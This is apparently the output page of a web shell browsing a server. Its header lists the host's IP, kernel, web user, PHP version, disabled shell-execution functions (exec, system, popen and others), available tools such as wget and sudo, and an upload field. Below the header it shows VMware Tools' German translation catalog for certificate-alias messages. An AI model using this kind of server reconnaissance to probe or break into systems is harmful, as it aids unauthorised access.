| Server IP : 210.245.233.93 / Your IP : 216.73.216.226 Web Server : Apache/2.2.15 (CentOS) System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64 User : apache ( 48) PHP Version : 5.3.3 Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /etc/vmware-tools/messages/de/ |
Upload File : |
##############################################################
# Copyright (c) 2011-2015 VMware, Inc. All rights reserved.
##############################################################
#
# German translation catalog.
#
# Please follow a few guidelines when editing this file:
# . Try to maintain formatting (e.g., indentation and line breaks).
# . Avoid long lines by breaking them into multiple lines.
# . Catalogs *must* be in UTF-8.
# . Try to keep the file sorted by message id.
#
addsubj.fail = "%1$s: Fehler beim Hinzufügen eines Alias für Benutzer '%2$s': %3$s.\n"
addsubj.success = "%1$s: Alias hinzugefügt\n"
addoptions.comment = "Betreff Kommentar"
addoptions.file = "Name der PEM-Datei"
addoptions.global = "Zertifikat zur globalen Zuordnungsdatei hinzufügen"
addoptions.subject = "SAML-Betreff"
addoptions.username = "Benutzer, in dessen Zertifikatspeicher Hinzufügung erfolgt"
addoptions.verbose = "Ausführlicher Vorgang"
cmdline.parse = "Fehler beim Parsen der Befehlszeile"
cmdline.summary.pemfile = "PEM-Datei"
cmdline.summary.subject = "Betreff"
cmdline.summary.username = "Benutzername"
cmdline.summary.comm = "Kommentar"
list.comment = "Kommentar"
list.count = "%1$s Gefunden: %2$d Aliase für Benutzer '%3$s'\n"
list.error = "%1$s: Fehler beim Auflisten von Aliasen für Benutzer '%2$s': %3$s.\n"
list.subject = "Betreff"
listmapped.count = "%1$s Gefunden: %2$d zugeordnete Aliase\n"
listmapped.error = "%1$s: Fehler beim Auflisten von zugeordneten Aliasen: %2$s.\n"
listmapped.subject = "Betreff"
listmapped.username = "Benutzername"
listoptions.username =
"Benutzer, dessen Zertifikatspeicher abgefragt wird"
listoptions.verbose = "Ausführlicher Vorgang"
loadfile.fail = "%1$s: Fehler beim Lesen von PEM-Datei '%2$s'\n"
name.any = "<ALLE>"
removesubj.fail = "%1$s: Fehler beim Löschen eines Alias für Benutzer '%2$s': %3$s.\n"
removesubj.success = "%1$s: Alias gelöscht\n"
removeoptions.file = "Name der PEM-Datei"
removeoptions.subject = "SAML-Betreff"
removeoptions.username =
"Benutzer, in dessen Zertifikatspeicher Löschvorgang erfolgt"
removeoptions.verbose = "Ausführlicher Vorgang"
vgauth.init.failed = "Fehler beim Initialisieren von VGAuth"